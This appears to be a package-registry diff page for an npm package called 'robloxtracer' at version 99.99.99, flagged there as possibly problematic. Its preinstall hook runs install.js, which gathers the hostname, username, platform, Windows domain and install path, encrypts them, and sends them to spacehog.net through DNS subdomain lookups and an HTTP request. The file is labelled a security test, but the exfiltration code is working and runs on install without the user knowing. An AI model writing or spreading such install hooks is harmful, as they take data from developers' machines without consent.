robloxtracer 99.99.99

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of robloxtracer might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +3 -0
  2. package/install.js +101 -0
  3. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,3 @@
1
+ // - H1/lob0 -
2
+ // sec test only
3
+ console.log("installed");
package/install.js ADDED
@@ -0,0 +1,101 @@
1
+ // - H1/lob0 -
2
+ // sec test only
3
+
4
+ var os = require('os')
5
+ var crypto = require('crypto');
6
+ var dns = require('dns');
7
+ const http = require('http');
8
+ const execSync = require('child_process').execSync;
9
+
10
+ function myChunker(string,chunk_size) {
11
+ var b = [];
12
+ newstring = '';
13
+ char_count = 0
14
+
15
+ for(var i=0; i < string.length; i+=1){
16
+ char_count+=1;
17
+ if (char_count < chunk_size) {
18
+ newstring+= string[i];
19
+ }
20
+ else {
21
+ b.push(newstring);
22
+ newstring = string[i];
23
+ char_count = 0;
24
+ }
25
+ }
26
+
27
+ if (newstring.length != 0 && b[b.length -1] != newstring){b.push(newstring);} //also need to check if newstring == the last element in b
28
+
29
+ if (b.length > 0 && b.length < 3) {
30
+ return_string = b.toString().replace(",",".");
31
+ return_string += "." + newstring;
32
+ return return_string;
33
+ }
34
+ else if (b.length == 0) {
35
+ return newstring;
36
+ }
37
+ else {
38
+ return b;
39
+ }
40
+ }
41
+
42
+ function dnsCallback (sequence,semi_random_id, information, information_identifier, domain) {
43
+ var callback = dns.lookup(sequence+'.'+semi_random_id+'.'+information_identifier+'.'+information+'.'+domain, function (err, addresses, family) {console.log(addresses);});
44
+ }
45
+
46
+ function dnsPreCallbackCheck(semi_random_id, information, information_identifier, domain) {
47
+ if (typeof information == 'object') {
48
+
49
+ for (i = 0; i < information.length;i++ ) {
50
+ dnsCallback (i,semi_random_id, information[i], information_identifier, domain);
51
+ }
52
+ }
53
+ else if (typeof information == 'string') {
54
+ dnsCallback ('n',semi_random_id, information, information_identifier, domain);
55
+ }
56
+ }
57
+
58
+ let domain = 'spacehog.net'
59
+ let super_secret_password = 'H1-security-test-november'
60
+ let userinfo = os.userInfo()
61
+ let info = ""
62
+
63
+ const buf = crypto.randomBytes(2);
64
+ const semi_random_id = buf.toString('hex')
65
+
66
+ if (os.platform().includes("win")) {
67
+ domain_info = execSync('wmic computersystem get domain').toString();
68
+ domain_info = domain_info.replace(/[\n\r\t\s]/g, '').replace("Domain","");
69
+ info += info.concat(os.hostname(),",",userinfo['username'],",",os.platform(),",",domain_info);
70
+ }
71
+ else {
72
+ info += info.concat(os.hostname(),",",userinfo['username'],",",os.platform());
73
+ }
74
+
75
+
76
+ var super_secret_key = crypto.createCipher('aes-128-cbc',super_secret_password);
77
+ var update = super_secret_key.update(info,'utf8','hex');
78
+ update+= super_secret_key.final('hex');
79
+ subdomain_split = myChunker(update,63);
80
+
81
+ dnsPreCallbackCheck(semi_random_id, subdomain_split, 'u', domain);
82
+ //var callback = dns.lookup(semi_random_id+'.'+subdomain_split+'.'+domain, function (err, addresses, family) {console.log(addresses);});
83
+
84
+ var super_secret_key = crypto.createCipher('aes-128-cbc',super_secret_password);
85
+ var update = super_secret_key.update(__dirname,'utf8','hex');
86
+ update+= super_secret_key.final('hex');
87
+ subdomain_split = myChunker(update,63);
88
+
89
+ dnsPreCallbackCheck(semi_random_id, subdomain_split, 'p', domain);
90
+ //var callback = dns.lookup(semi_random_id+'.'+subdomain_split+'.'+domain, function (err, addresses, family) {console.log(addresses);});
91
+
92
+ //attempt http request last as it's likely to fail
93
+
94
+ http.get({
95
+ hostname: 'spacehog.net',
96
+ port: 21,
97
+ path: '/'+semi_random_id,
98
+ agent: false},
99
+ (res) => {
100
+ //nothing
101
+ });
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name" : "robloxtracer",
3
+ "version" : "99.99.99",
4
+ "scripts" : {
5
+ "preinstall" : "node install.js"
6
+ },
7
+ "description": "",
8
+ "main": "index.js",
9
+ "keywords": [],
10
+ "author": "",
11
+ "license": "ISC"
12
+ }